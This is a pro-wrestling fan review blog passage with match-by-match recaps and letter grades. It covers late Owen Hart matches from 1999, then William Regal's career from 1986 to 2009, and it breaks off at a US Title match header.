Rating: B. This was different than your usual wrestling match but more importantly it was fun. These two beat the tar out of each other and the whole thing worked very well. Notice the main difference here than what you would get today: you never heard the letters UFC here, meaning there’s nothing to compare it to, making this match seem more impressive. Today you would hear UFC and Ultimate Fighting dropped every two seconds and it would just make you want to watch a UFC show.

After all of these feuds, Owen would hook up with Jeff Jarrett and go after the Tag Team Titles with their shot on Raw, January 25, 1999.

Tag Titles: Owen Hart/Jeff Jarrett vs. Big Boss Man/Ken Shamrock

Boss Man vs. Jarrett to start with Boss Man cleaning house. The baseball slide into the right hand has Jeff in trouble (he and Owen are challenging) but he avoids a charging Boss Man in the corner. Owen comes in and stomps away, drawing a nugget chant. A big clothesline from Shamrock puts Owen down as Debra tries to blow kisses at Shamrock. An enziguri puts Ken down as does a powerslam, which gets two.

There’s the spinwheel kick to Shamrock’s jaw but a top rope dropkick misses. Debra gets on the apron and opens her jacket to reveal her bra, but Shamrock suplexes Owen anyway. Debra takes off her top entirely and there’s the ankle lock to Owen. Everything breaks down and cue the Blue Blazer with a guitar shot to Shamrock, giving Owen and Jeff the titles.

Rating: C-. Most of that is for Debra, which says a lot about this match. Nothing to see here for the most part as Owen and Jarrett weren’t that interesting as champions, but they would hold the belts until after Wrestlemania. Tag team wrestling was getting desperate for a new team to take the division by storm, but it would be another seven months before that happened.

They would defend at Wrestlemania XV against two challengers who were the last men standing in a battle royal. Seriously, that’s how they determined the challengers at the biggest show of the year.

Tag Titles: D’Lo Brown/Test vs. Owen Hart/Jeff Jarrett

The challengers fight with each other before the match starts. Owen and Jeff have Debra with them who is in a jacket and bikini. From the neck down she’s not bad at all. It’s a brawl to start and Test hits a fast big boot to take over. Brown and Jarrett get things going officially and D’Lo hits some fast clotheslines. Jeff charges into an elbow and it’s off to Test. He’s part of the Corporate Team while Brown has no connection to them whatsoever. A powerbomb gets two on Owen but he comes back with an enziguri, only to have Brown break up the Sharpshooter attempt.

Brown comes in legally and hits the shaky head legdrop for no cover but Jeff knees Brown in the back to give Owen an opening. A spinwheel kick puts D’Lo down for no cover as it’s back to Jarrett. Brown comes back with a double clothesline to both champions and hits something resembling a Sky High on Jeff. There’s no cover though as the managers (Ivory for the challengers) are fighting. In the distraction, Owen hits a missile dropkick on Brown to give Jeff the retaining pin.

Rating: C-. The match was ok enough but when the challengers are formed into a team 30 minutes before the match, it’s a little difficult to get behind a match like this. The tag division was BEGGING for something to save them here but it wouldn’t be until the fall when the Dudleys finally showed up and made the division worth something for a few more years.

We’ll wrap it up with one of Owen’s final matches, from the Smackdown pilot on April 29, 1999.

Val Venis vs. Blue Blazer

Ok so Jeff was subbing for Blazer who is now subbing for Jeff. Russo was still on the payroll at this point if that clears anything up. Blazer is in the cape mind you. It’s amazing to think that he had less than a month to live at this point. Cornette wonders why if Owen is the Blue Blazer, why doesn’t Jarrett call himself the Tweed Sportscoat? Debra gets on the apron for a distraction and it lets Jarrett interfere for the pin.

Bass comes out to hit on Val and they both run. Then Godfather comes out to claim Debra who he “won” in a match on Heat. She has to be a Ho for an undetermined amount of time. This was a way too complex four way feud that never went anywhere for obvious reasons. Owen and Jeff beat him down and leave with Debra.

Rating: N/A. Way too short to be anything of note here. It wasn’t bad or anything, but it was yet another layer onto this incredibly difficult to comprehend story already.

I’ll spare you the details of Owen’s horrible death less than a month later. Owen Hart was a very talented guy who probably would have gotten a World Title run in the double title era. While I don’t think he was as great as some people say he was, Owen was definitely talented and that’s more than a lot of wrestlers can say.

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Wrestler of the Day – May 6: William Regal

Today’s wrestler is a man. Such a man. It’s William Regal.

Regal of course got his start in England back in 1983. Those matches are REALLY hard to find so we’ll pick things up with a one off match in 1986.

Roy Regal vs. Marty Jones

There are six five minute rounds here and it’s 2/3 falls. For some reason Regal starts up one fall and WHAT IS THAT ON HIS HEAD??? I kid you not, William Regal HAS A FREAKING MULLET! He’s 18 years old here which is almost as bizarre as that hair. Marty takes over on the arm to start before working on a headlock.

They head to the mat with Marty cranking on the head before trading arm control. Regal hooks a modified cross armbreaker but gets wrist dragged down for two. The first round ends and we get a nice handshake. Jones hits a quick right hand to the ribs and a gutbuster to start round two. A pair of very nice backbreakers have Regal in trouble and a dropkick puts him down for ten. That’s the end of the match as Regal seems to be injured.

Rating: C-. These matches are such a different style that it’s really hard to grade. The injury didn’t help all that much either. I’ve heard of Jones before, though it’s bizarre to see someone like Regal as a total rookie with A FREAKING MULLET like that. The match didn’t have time to go anywhere and the round structure takes some getting used to.

Regal would head to the States and WCW in the early 1990s. He would wind up taking over the TV Title soon upon arrival and fight for the TV Title at Fall Brawl 1993.

TV Title: Steven Regal vs. Ricky Steamboat

Yes it’s that Regal. I still can’t get over the idea that his butler is Bill Dundee. We have the double ring setup as tonight it’s WarGames of course. They’ll be alternating back and forth. The first match is in ring one. Dragon has the scales and such here which is odd looking but he’s Ricky Steamboat so who can argue?

Buffer introduces Regal as being very dapper. There’s something funny about that name. Oh and I almost forgot: this is the first WCW show when they’re officially out of the NWA and are completely free. Steamboat has bad ribs from a beating last night by Regal on Saturday Night.

Speaking of Saturday Night, this is a very interesting show because the results for all the big matches had been spoiled. This is one of the major reasons why the NWA was mad and ultimately eliminated. WCW would tape MONTHS of shows in advance, giving away storylines to anyone at the tapings. For instance, later on there’s a title change and a new manager debuts. Both were known almost a month prior to them occurring.

Now think about why this is a problem. First and foremost, people know about the storylines months in advance. Second though, think about how the wrestlers are being treated. Look at Miz today as WWE Champion. Apparently his reign was supposed to be shorter but he has impressed management so much that they’re giving him a longer reign. Now look at this version of WCW. With the title changes set in stone for months down the road, why would you work hard, knowing that no matter what you do, the title changes have already happened? What’s the incentive to work harder? See the problems here?

Anyway, on to the match. Apparently Regal hurt Steamboat with an umbrella. Regal tries to go after the ribs so Ricky has to fight defensively for the majority of the opening. Off to the ramp for a bit as they try to defend Steamboat throwing him over the top to the ramp rather than to the floor. Also, shouldn’t throwing someone over the top to the ring also be a DQ?

Regal uses simple psychology here by going after the injured ribs like anyone with a brain would do. That’s the basic definition of ring psychology: why would a person do just what they did? If you were in a real fight and you knew the other guy had an injury, you would go after it right? It makes sense to, which means it’s good psychology here. Steamboat chops away in the corner and we get some reversals on Irish whips resulting in Regal’s arm hitting the buckle.

Steamboat works on the arm, again using psychology. Old guys know basic thoughts. Regal gets what appeared to be a thumb to the eye and we get an unheard of STEAMBOAT SUCKS chant. What the heck??? Steamboat plays possum and gets a leg drag but uses his leg to take Steamboat over. It’s hard to describe but imagine an arm drag by Steamboat but Steamboat uses his leg to get it over.

Back to the arm and shoulder and then up for the cross body. Steamboat’s ribs are hurt by the move though and he can’t cover. You can tell the camera side is empty as they never get close to showing it. It’s a WCW trademark and you can tell why they do it because at I think Beach Blast 93 we saw the other side and it was completely empty. Regal does the same short arm scissors lift that Bulldog famously did to Shawn but he can’t break the hold.

I was right about the crowd as they caught a quick shot of part of it. It must be Halloween because everyone is wearing an empty seat costume. Off to a chinlock by Regal. This has been 98% mat wrestling so far. It’s not incredibly interesting but it’s very technically sound of course. Off to a body vice by Regal which is a perfect move for him to use here. When did Regal start using power moves though?

Modified surfboard by Regal where he leans back with it but leaves Steamboat on the mat for a bit and just pulls on the arms. He pulls back a bit and has Steamboat more or less on his knees to give you a visual. Regal gets a nice butterfly suplex for two as we alter the style a bit. Steamboat counters into a slingshot and gets a one count while he’s setting up for it. I guess that’s a cover of some sort?

Steamboat can’t slam him and Regal falls on him for two. Ventura says Ricky should get himself disqualified. Regal tries a Tombstone but gets reversed into one of the softest Tombstones I’ve ever seen. You can hear the crowd just die on it’s impact. Steamboat counters a belly to back into an O’Connor Roll for two. Steamboat goes up and hits the cross body but hurts his ribs again. PSYCHOLOGY BABY! Ricky skins the cat but Sir William (manager) DRILLS him in the head with the umbrella so a German suplex gives Regal the TV Title.

Rating: B-. This was incredibly technical which makes things rather boring. That being said it’s still very good as both guys worked incredibly well of course. The fans hated it though which is a problem as an opener is supposed to make a crowd get into a show. Good stuff though, but 17 minutes was probably too long here.

Regal would hold the title for a LONG time until Larry Zbyszko of all people took the title in 1994. Here’s the rematch from Clash of the Champions XXVII.

TV Title: Larry Zbyszko vs. Lord Steven Regal

There’s a nice story here as Regal spent weeks bragging about how great he was until Zbyszko came out of retirement to show he could hang with the Englishman. Larry won the title from Regal about a month ago and Regal wants the belt back. Why he’s coming to the ring in a powdered wig and coat circa 1776 is anyone’s guess.

After disrobing and de-wigging, Regal hides in the corner like a true cowardly heel. Larry finally charges in but gets knocked down to give the challenger control. Some uppercuts and slaps to the face make Larry mad as Tony actually brings up the Western States Heritage Championship which Larry held for a few months back in the late 80s.

Zbyszko throws Regal over the top and out to the ramp. Back inside Larry counters a butterfly suplex into a backdrop for two and a piledriver gets the same. Regal kicks out of a swinging neckbreaker so Larry pummels him up against the ropes. Slugging it out is fine with Regal as he drops Larry with an uppercut and puts on a chinlock.

Regal only gets two off a cover as Larry counters with a bodyscissors of all things. The hold is broken and Regal hits a double knee to the face followed by a headbutt to send Larry into the corner. Zbyszko comes back with a bearhug into a Boston crab but Regal kicks him forward into a rollup and grabs the rope for the pin and the title.

Rating: C+. This was a very different style than you would see most of the time in wrestling at this point. Larry was able to hang with Regal in that kind of wrestling and the match was an interesting technical display with some very nice counters. Regal continues his trend of wrestling for the majority of the match before cheating to win.

Since I’m sure you’re getting sick of hearing about the TV Title over and over again, here’s a tag team match from Clash of the Champions XXXII with Regal’s partner Sir Robert Eaton of the Blue Bloods.

Tag Team Titles: Sting/Lex Luger vs. Blue Bloods

The challengers are Lord Steven Regal and Earl Robert Eaton, which is Bobby Eaton now as a nobleman. Sting and Regal start things off and we get our first contact after a minute of posing. Regal cranks on the arm to start but gets dropkicked into the corner. Sting says bring it on before it’s off to Eaton vs. Luger. Lex is sent to the floor but Eaton walks into a backdrop on the concrete. Back inside and Luger poses, sending Eaton to the corner for a tag.

Luger slaps Regal in the face and says bring it on. Regal is tentative but sends Luger into the corner for some European uppercuts before tagging Eaton in again. A jawbreaker puts Luger down but it staggers Eaton enough that he has to tag Regal only a few seconds later. The Blue Bloods start double teaming Lex and Eaton nails his top rope knee drop.

Regal puts on his self named Stretch but Sting makes a quick save. Eaton goes up top but gets caught in a weak powerslam from Luger and they collide with each other. The hot tag brings in Sting, who knocks Eaton off the top and into Regal, setting up the Deathlock for the submission from the Earl.

Rating: C+. Just a nice little title defense here against an acceptable pair of challengers. Sting and Luger clearly weren’t going to lose the belts the night after winning them, but it was a nice performance by Eaton and Regal. It’s a good idea to have hands like the Blue Bloods around to put on a solid match and they helped do that here.

That’s enough time out of the comfort zone. Regal lost the TV Title to the worthless Prince Iaukea in 1997, so here’s his chance to get it back from new champion Ultimo Dragon at Slamboree of that year.

TV Title: Steven Regal vs. Ultimo Dragon

Regal is challenging. Dragon goes to a wristlock and manages to stop Regal’s usual counter to it and hooks an armbar. Test of strength goes on with Regal taking him down but Dragon pops right back up. They go to the corner and Dragon does his stand on his head in the corner deal. Why does no one ever hit him while he does that? I get the real life reason that he might die, but in kayfabe why not hit him?

Back on the mat Dragon fires off some kicks and hooks a half crab. Regal makes the rope and fires off some kicks of his own to send the champion to the floor. Back in a suplex gets two for Regal. They trade full nelsons and Dragon gets a sunset flip for two. Regal Stretch is avoided and Dragon is all fired up now for some reason. They get into a chain wrestling match and Regal is in his element. Regal tries the Stretch again but Dragon grabs his own mask to block it.

Since the Stretch won’t go on it’s time for the bow and arrow/surfboard (Dusty and Tenay call it either or) but Dragon escapes and fires a kick to the back. Here’s the bridging Indian Deathlock and the fans chant for Regal. Dragon switches to a camel clutch and it turns into a brawl. Dragon dropkicks him to the floor and Sonny fires off some kicks. Those get him yelled at by the champ so Dragon sends Regal back in and hits a top rope rana for two.

Regal tries the Stretch again but Dragon makes the ropes. The fans are firmly behind Regal now which is strange as this is heel vs. heel and Dragon has been the good guy by default. Both guys try rollups for two but Dragon takes over with a spinwheel kick. Tiger suplex is countered but Dragon sends Regal to the floor. Asai Moonsault hits and Sonny adds in some more kicks. Dragon stops him so Sonny kicks Dragon, allowing Regal to take over. In the ring a reverse suplex sets up the Regal Stretch and we have a new champion.

Rating: B. This was getting really good at the end and was still good when Sonny got involved. Was there ever a more useless manager now named Paul Jones? Really good opener here as they were beating the tar out of each other. Dragon would get the title back in a little over two months.

Regal would get fired over a match with Goldberg on Nitro, sending him over to the WWF for awhile. Here’s his first mtch on June 29, 1998’s Raw.

Darren Drozdov vs. Steven Regal

Sable introduces Regal, who sadly enough is just Steven Regal, British guy. I hadn’t realized it yet but Lawler is now on commentary both hours. Sable sits in on commentary. Droz hammers away on Regal who does his usual shouting. We’re on a split screen of the match and Sable, so at least there’s something to look at. JR keeps asking Sable about her relationship with Vince and all that and she can’t comment. Regal hooks a chinlock and pounds away on Droz. Droz makes a comeback and goes up. Regal suplexes him off the top and the Regal Stretch ends this boring match.

Rating: D-. I can see why Regal was sent down to Dory Funk’s training center for some more work. He hurt his ankle there though and later broke his leg so he didn’t have another match on WWF TV until around Halloween. That’s good too because this was really pretty boring stuff.

Regal’s injury plus not being a WWF guy for the most part would put him back in WCW in summer of 1999. That went NOWHERE as he was basically a jobber to the stars for his entire time there. Instead, we’ll jump ahead to March 2000 where Regal performed on the 3rd Annual Brian Pillman Memorial Show.

Chris Benoit vs. Steven Regal

That would of course be William Regal and this is the only reason to watch this show. Benoit has only been in the WWF about four months at this point so he’s still a big deal. Feeling out process to start with Benoit taking him into the corner and firing off right hands. Chris cranks on the arm a bit and Regal can’t roll free. Instead he grabs a wristlock of his own and cranks on the Canadian’s arm as we’re still in the technical portion of the match.

They go to a test of strength grip with Benoit on the mat and Regal drops a hard knee to the chest. They keep the grip and Benoit nips up before headbutting Regal away. A hard dropkick and an enziguri send Regal to the floor but he avoids a baseball slide and kicks Benoit in the face. They head to the apron with Chris DDTing him down onto the edge of the ring.

Back in and Benoit suplexes him down for two but Regal trips him up and cranks on a chinlock while laying on Benoit’s back. Think an STF minus the leg lock. Benoit makes it over to the ropes for the break so Regal dropkicks him down for no cover. Regal hooks a seated surfboard stretch but reaches up to hook a dragon sleeper at the same time. I haven’t used this in awhile but FREAKING OW MAN!

Benoit elbows out of it and chops the tar out of Regal but Steven kicks him in the chest to put him back down. Back up and Benoit tries to roll some Germans but Regal elbows his way out. Regal tries a butterfly suplex but Benoit is all like “YOU DARE FIGHT MY SUPLEXES???” and hits another German. Benoit can’t follow up though and Regal takes him to the top for a butterfly superplex for two.

Regal is sent into the corner but they ram heads, giving Benoit two. Regal may be busted open. A pair of rollups only get two on Benoit so Regal fires off even more forearms. Benoit counters a tombstone into one of his own but the Swan Dive misses. Back up again and a dragon suplex gets two for Benoit but the Crossface ends Regal a second later.

Rating: A-. This match got Regal a job in the WWF and it’s not hard to see why. This was a very physical match with both guys looking great out there. Until this point, Regal has mainly been known as the blue blood who could have good matches at times but would usually be there as a jobber. REALLY good match here and worth seeing if you’ve never seen it. I believe it’s on Benoit’s DVD.

Regal would get the European Title pretty quickly upon arrival and defend it at No Mercy 2000.

European Title: William Regal vs. Naked Mideon

That’s his official name mind you. It’s not some random nickname I gave him. Basically he wrestles in a thong and a fanny pack. He comes out in regular clothes but tries to rip them off during the match. Apparently he’s trying to get naked, making him the Kelly Kelly from the old ECW days of this generation. Mideon keeps wanting to take his clothes off but just doesn’t for some reason.

Lawler says he’s a great chain wrestler. He can beat any chain you put him up against. Eh half a point for a decent line. Pretty much total dominance by Regal here. Mideon gets his shirt off and continuously pulls his pants up. Wouldn’t that be against his character in theory? Crowd is DEAD here mind you. And there go the pants. Regal sets for the Stretch but thinks twice about it. A neckbreaker ends it.

Rating: D-. Totally pointless match where nothing of note happened and the comedy didn’t exist. Mideon was hardly a character that was ever going to really do anywhere and I have no idea what the point of this being on the show was. This was a waste of time but I guess it bridges the gap between the big matches.

Regal would soon enter his biggest feud in WWE to date, as he became Commissioner but was opposed by Chris Jericho. This led to a showdown in the opening match at Wrestlemania X7.

Intercontinental Title: Chris Jericho vs. William Regal

Jericho is defending and this is a result of him not liking Commissioner Regal’s regime. Basically he thinks Regal is boring and therefore relieved himself in Regal’s teapot. Regal responded by having the RTC and the Dudleys beat up Jericho on various nights. Jericho came back by dressing up by Doink for no apparent reason and putting Regal in the Walls of Jericho.

Regal pounds away to start but Jericho forearms him out to the floor. There’s a big dive by the champion to take Regal down before he drops Sweet Willy B on the barricade. Back inside and a jumping back elbow off the top puts Regal down again before they head to the mat. Jericho tries for the Walls but Regal escapes and sends the still injured shoulder (from the aforementioned beatdowns) of Jericho into the post. A quick suplex gets two for Regal and it’s back to the arm.

Jericho comes back with an elbow but Regal takes him down with a rollup for two more. Another suplex puts Jericho down again but Regal can’t keep him down. The fans start cheering for Jericho as Regal takes off a turnbuckle pad. The referee is ok with this for some reason as Jericho’s shoulder goes into the steel. Jericho comes back with a pair of enziguris before a middle rope missile dropkick gets two.

Jericho misses a charge in the corner and nearly hits the post head first. In a surprising move, Regal goes up top for a butterfly superplex which gets a delayed two. Jericho trips the legs and tries the Walls again but the shoulder gives out, allowing Regal to hook the Regal Stretch (STF with a half nelson) but Jericho makes the rope. Jericho fights back again but gets kicked in the shoulder, only to send Regal into the exposed buckle and hit the Lionsault to retain. That was a really sudden ending and JR sounded surprised so maybe it was called on the fly.

Rating: B-. This was exactly what an opener was supposed to be: fast paced, hard hitting and it told a good story. They beat on each other for seven minutes straight with nothing of note looking bad. The idea of the shoulder injury was a perfectly fine story to keep the match going and the Regal Stretch worked for a climax. This was a really good opener and it hit every point it was supposed to hit.

Regal would join the Alliance during the Invasion and face Tajiri at Survivor Series 2001.

William Regal vs. Tajiri

Regal hurt Tajiri’s girlfriend Torrie on Smackdown to set this up. Also these two used to be friends. Tajiri is Cruiserweight Champion and was supposed to face X-Pac in a title for title match, but according to Commissioner Mick Foley, “No one cared about X-Pac or the Light Heavyweight Title anyway”. Tajiri fires off a kick but gets suplexed right back down.

The knee trembler takes Tajiri down but Tajiri goes after Regal’s knee with the kicks. There’s the Tarantula and Regal is bleeding from the nose. A handspring elbow gets two for Tajiri but Regal ties his head up in the ropes to stop the momentum dead. Regal tries a powerbomb but gets countered by another kick to the head. The Buzzsaw Kick misses and there’s the Tiger Bomb from Regal for the pin. Too short to rate but it was fine. Short, but fine.

After the Alliance was vanquished, Regal would start a feud with Edge and challenge him for the Intercontinental Title at Royal Rumble 2002.

Intercontinental Title: Edge vs. William Regal

Edge is defending. The referee checks Regal over and over again for knuckles and finds them in his trunks. Well you can’t say he didn’t do his job. The referee stupidly puts them on the ring post instead of like, giving them to someone to take to the back or something. Edge pounds away to start and chokes with his boot in the corner. He goes after Regal’s bad nose as Lawler claims conspiracy.

Regal comes back with a clothesline but Edge kicks him in the back to put both guys down. Being the British dude that he is, Regal suplexes Edge down for two. Make that four. Uh six. Yet somehow that isn’t three. Off to an arm trap chinlock followed by a hard forearm to put the champion down again. A double arm powerbomb hits Edge for two and they head to the apron. Edge busts out a DDT onto said apron, further injuring Regal’s nose.

Back in and they ram heads to put both guys down as the match continues to drag at a slow pace. Edge wins a slugout and takes Regal down with a spinwheel kick and a suplex for two. Regal suplexes him down as well, only for Edge to hit a big old clothesline for two more. The Regal Stretch goes on out of nowhere but Edge reverses into a terrible version of his own to no avail. A top rope spinwheel kick puts Regal down but he finds another set of brass knuckles. Instead of swinging them though, he pulls the referee in the way of Edge’s spear. Regal clocks Edge and wins the title.

Rating: D+. This didn’t click at all. Regal didn’t seem interested in selling at all and Edge wasn’t ready to carry a match by himself yet. He was getting to the point where he could but it would take a summer of feuding with Eddie to get him up to that point. Regal wouldn’t really do anything with the belt other than lose it to RVD. Nothing to see here.

Regal would join up with Test and Lance Storm as part of the Un-Americans in a mostly bad angle. Regal and Storm would become a regular team, including this match from Raw on October 21, 2002.

Lance Storm/William Regal vs. Bubba Ray Dudley/Spike Dudley

The winners get a title shot against whoever the champions are now. Apparently it’s Christian/Jericho. Storm runs down American before the match. Spike vs. Storm to start things off with the smaller dude taking over quickly. The fans want tables but other than that things are mostly silent. We’ve lost commentary for some reason and by the time that sentence is finished JR is back.

Off to Bubba who takes Lance down with a neckbreaker but Regal hits Bubba in the back of his recently concussed head to give Storm the advantage. Regal comes in as Kane arrives in the back. Everything breaks down and Spike ranas Storm off the top. Bubba catches the superkick from Storm and hits the Bubba Bomb. Spoke hits the Dudley Dog on Regal for the win and the title shot.

Rating: C-. This was one of those matches that was too short to go anywhere of note. Regal and Storm as the Unamericans were a solid team but the gimmick was only going to go so far, especially with Test weighing them down as their third man. Nothing to see here and thankfully D-Von would reunite with Bubba the next month.

They would receive a shot at the belts on Raw, January 6, 2003.

Raw Tag Titles: Lance Storm/William Regal vs. Goldust/Booker T

Goldie and Booker are defending. Booker and Storm start things off with the champion slamming him down and dropping a knee for no cover. Off to Goldie for a forearm off the top but Storm hits him in the face to bring in Regal. Goldust shoulders him down as Bischoff is watching in the back. Back to Booker for more punches in the corner until Storm makes the save.

We hit a chinlock as the match is already going nowhere. A running knee to the side of Booker’s head allows Storm to come in for a cravate. Booker finally fights out and kicks Lance down, allowing for the not hot tag to Goldust. House is cleaned and a powerslam gets two on Storm. Everything breaks down and Goldust takes both guys down. Storm gets caught in a modified Hart Attack but Regal takes the referee out.

The champs and referee are both out on the floor and we take a break. Back with Storm kicking a charging Booker in the face. During the break Chief Morely took over as guest referee. Storm accidentally superkicks said guest referee but there’s no one to count. The third referee runs in to count two on Storm after a Booker spinebuster. Off to Goldust for his hard slaps in the corner but the challengers bail to the floor.

Goldie charges after Storm and runs into a clothesline from Regal. This match continues to be dull stuff. Regal pounds away on Goldust a bit more until it’s off to Storm for another chinlock. This one doesn’t last long and it’s off to Booker for hopefully the last hot tag of the night. Mr. T. cleans house and there’s a Spinarooni followed by an ax kick for two on Storm. Morely pulls the third referee out of the ring and a brass knuckles shot from Regal knocks out Booker for the pin and the titles.

Rating: D. It was long, but MAN was this boring. At the end of the day it was pretty clear that the titles were going to change here due to the odds and Bischoff needing to dominate the entire show, which makes it even worse. As usual, a team loses in a joke last week and wins the titles the next week. Also, how overbooked was this match? Nothing to see here.

Regal would miss over a year and a half due to a heart condition so we’ll skip ahead to February 7, 2005 with Raw in Japan. Given who is in the match, you can figure it out for yourself.

Raw Tag Titles: William Regal/Tajiri vs. La Resistance

Gee I wonder what’s going to happen. Conway and Grenier are defending here. The place ERUPTS for Tajiri who is all fired up here. Regal and Eugene were champions but Eugene is injured so Regal picked Tajiri as his new partner. Massive Tajiri chant starts up so Regal starts off with Conway. Regal Stretch goes on but it’s off to Tajiri who adds the low dropkick as the offense is on.

Regal plays Ricky Morton for a bit here despite getting some shots in to try to break the momentum. The fans chant something but it’s in Japanese. Grenier punches Tajiri so when Regal takes him down there’s no one to tag. STF is broken up quickly and there’s the hot tag to Tajiri who cleans house. Let the kicks begin! Enziguri hits Grenier for two as everything breaks down. Double handspring elbow takes out the French dudes and it’s Tarantula time. Regal takes Conway down and there’s the Green Mist and a Buzzsaw kick gives us new champions.

Rating: C+. The match totally doesn’t matter and is rated too high, but this is about giving the fans something to erupt for and that’s exactly what they did here. Tajiri and Regal would hold the belts about three months so this wasn’t just a fluke title reign. No problem at all with this and while it’s not great or anything, it was perfectly done as it made Tajiri look like a star.

Since this is getting WAY too long already, we’re going to skip over the rest of 2005 and pick things up in 2006 when Regal is a replacement opponent for the US Title at Great American Bash.

US Title: Finlay vs. William Regal

JBL goes on a hilarious rant before the match. “LIVER ENZYMES??? AS MUCH AS I’VE DRANK I’M LUCKY TO HAVE A LIVER!!! MY LIVER LOOKS LIKE JAKE ROBERTS’ AND MY LIVER ENZYMES HAVE NEVER BEEN HIGH!” I’m having issues having Cole as a neutral commentator. Regal is worried about Horny (not yet named) interfering. Regal goes a-leprechaun hunting and before the match starts.

Regal says he’ll just leave but Finlay tries to roll him up anyway. They lock up and go all the way to the floor without breaking it. They walk around and back up the steps and into the ring without breaking that lockup. Regal grabs a single leg and works the leg but that gets him nowhere. Regal throws him to the floor and here’s Horny! He pops Regal in the leg and JBL freaks out. “I want one for Christmas!”

Regal loses track of him and stands on the steps instead of, you know, GETTING IN THE RING. Horny sneaks up on him and Regal nearly jumps out of his skin. Back in Finlay gets a clothesline for two and it’s off to a nerve hold. This heel vs. heel thing is only kind of working so they’re going for comedy. JBL gives us a European soccer lesson as Finlay takes over. Regal gets in some kicks and a butterfly suplex for two.

Horny is back! He bites the fingers of Regal and Regal has to rake the eyes of the tiny leprechaun to escape. Back in and Finlay takes over, working on the hand. Regal gets in a shot to the leg to break the momentum. This is a highly technical match to go with the comedy which is an interesting mix. Regal hooks a chinlock but Finlay fights out with some shots to the ribs.

Back to the floor and you can hear them hitting each other incredibly hard. This was the same thing they did back at Uncensored 96, although this is a more entertaining match. Now Finlay hooks the chinlock. Regal throws him into the corner and they ram heads. In a great old school heel move, Regal drops to a knee, putting his leg on Finlay’s throat, while he talks to the referee. Exploder suplex puts Finlay down and there’s a knee drop for two.

The fans call this boring. I call them uncultured slobs. This is a European style match and it’s entertaining to see a different perspective. Regal runs off the apron and gets crotched on the apron skirt. Finlay hammers him back into the ring and takes Regal’s shoe off. It’s possible Horny stole it. Finlay misses a charge and hits the post. The fans are loudly booing now. Regal gets the Irish club that I can’t spell. Horny slips Finlay Regal’s boot though and a shot with that is enough for the pin to keep the title on Finlay.

Rating: C-. I’m going to be in the fairly extreme minority here but I enjoyed this. The technical aspect of it is really good but the comedy stuff is going to be very hit or miss. To be fair though, this was a hard one to work out as the styles really clashed. I was entertained by it though and that’s the point of this.

Regal would hook up with his old partner Dave Taylor as a heel team on Smackdown, with the two eventually getting a Tag Team Title shot at Armageddon 2006.

Smackdown Tag Titles: Paul London/Brian Kendrick vs. Dave Taylor/William Regal

Londrick are champions here. Before the match gets started here’s Teddy. He makes this a ladder match so here are some ladders. Regal FREAKS but Teddy isn’t done. He adds two more teams to make it a fatal fourway title match.

Smackdown Tag Titles: Paul London/Brian Kendrick vs. Daven Taylor/William Regal vs. MNM vs. The Hardys

MNM lost the titles to Londrick and are returning here since Nitro (Morrison) is on Raw. The Hardys are also on Raw but who cares? Jeff is IC Champion and they’re not Boys anymore. The crowd is WAY behind the Hardys. The heels are sent to the floor so it’s Londrick vs. the legends. Matt and London take over but Kendrick and Jeff come back. Spin Cycle takes out London and appropriately enough the Brits come back in.

Matt and I think Nitro pick up ladders and the fight goes to the floor. The Hardys come down the aisle with ladders as Regal and Taylor try to keep them out. Just about everyone is back in now and there’s a pair of ladders. Poetry in Motion hits Regal and Taylor takes a Snapshot. Double superkick puts Regal down again and things slow down a bit.

The champs and the Hardys go at it, including Matt throwing Kendrick into a ladder HARD. Jeff goes up but London makes the save. London goes up but the Hardys save. Nitro tried a springboard move to take him out but the ladder was already down so the spot landing looked sick. Mercury is almost up there but London/Kendrick/Hardys pick up the ladder and shove Mercury over the top onto Nitro.

Poetry in Motion is attempted but London moves and Jeff crashes into the ladder. With everyone down, Kendrick makes a run but Matt saves. Neckbreaker puts Kendrick down and London hits a suplex on Regal outside. Matt gets put on a ladder leaned against the ropes so Kendrick hits a double stomp to the ribs.

Now we get to the famous part of this match. MNM sets up a see-saw thing using a pair of ladders. They put Jeff on the top and set for a double suplex but Matt makes the save. Jeff dives off and the ladder is slammed into Mercury’s face, absolutely destroying his nose. I’ve never seen more blood so fast. His nose was shattered and he would be out for a few weeks and would need 20 stitches.

Due to the injury it’s now a seven man match with the Brits in control. Half nelson release suplex sends London into the ladder. Taylor holds the ladder and Regal goes up but comes down due to fear. Taylor goes up instead but Kendrick comes in for the save. Mercury is already on his way to the hospital. Matt comes back in and hits a Twist of Fate to Taylor. Jeff sets up a ladder on the floor and tries to dive into the ring but Nitro hits a baseball slide to take out the ladder, sending Jeff’s throat into the ropes.

Nitro rides a ladder down onto Regal as a ladder is set up in the ring. Kendrick makes a save and takes Nitro down again. Matt throws Kendrick off the ladder and London has to make the save. Matt backdrops London off but the ladder falls. Jeff vs. Nitro on a ladder now and Jeff gets a big old sunset bomb and the Brits are back. They take everyone down and up they go.

Kendrick gets up there and pounds away on Regal but Taylor pulls him down again. Everyone is down and London starts crawling for the ladders. Matt is up again and goes for the same ladder. There are two ladders next to each other. Matt gets knocked down and London pulls the titles down to retain after a war.

Rating: B+. I wanted to give it an A- but it just didn’t feel right. It’s an excellent match and a great four way ladder match, despite it becoming a three and a half way part of the way through it. Londrick gets a big win here which they need and the fans get all fired up. Definitely the best match of the night (seriously, can you imagine something topping it later?) but it didn’t hit that level of the TLC matches.

Regal again wouldn’t do much for most of 2007 but would become Raw GM late in the year. He would enter the King of the Ring in April 2008 and make it to the finals.

King of the Ring Finals: William Regal vs. CM Punk

Punk comes in with bad ribs because of the matches earlier. Regal is basically in his second match after the Horny match and beating an injured Finlay. Punk starts off fast with some kicks in the corner. He tries the bulldog but gets suplexed down and it’s off to a bow and arrow hold. Punk fights up from that and hits a spinning kick to the knee.

Regal grabs the arms and forces him right back down to the mat as is his custom. The idea is that it’s strikes vs. grapples which is about as natural as you’re going to get with these two. Punk fights up again and hits a BIG kick to the head to stagger Regal. Spinning backfist sets up the high kick for two. That sounded great. Punk loads up the GTS but Regal grabs the rope. He escapes and hits the knee trembler, followed by the Stretch. Punk hangs on for almost thirty seconds but finally has to tap to give Regal the tournament.

Rating: C-. This was too short to mean much but it gave Regal some more psychosis to work with which was a really entertaining time. Then it just stopped cold because it was getting too good and that’s how WWE works. Punk giving up because of the rib injury is ok because Regal didn’t win fairly (coming in at a big advantage), which is fine.

Regal would be Wellnessed off TV and allegedly out of a World Title reign. He would win the Intercontinental Title from Santino Marella in a squash in November before losing the title to CM Punk in a mostly forgettable feud. Regal would get a chance at the US Title at Extreme Rules 2009.

US Title: Kofi Kingston vs. MVP vs. William Regal vs. Matt Hardy

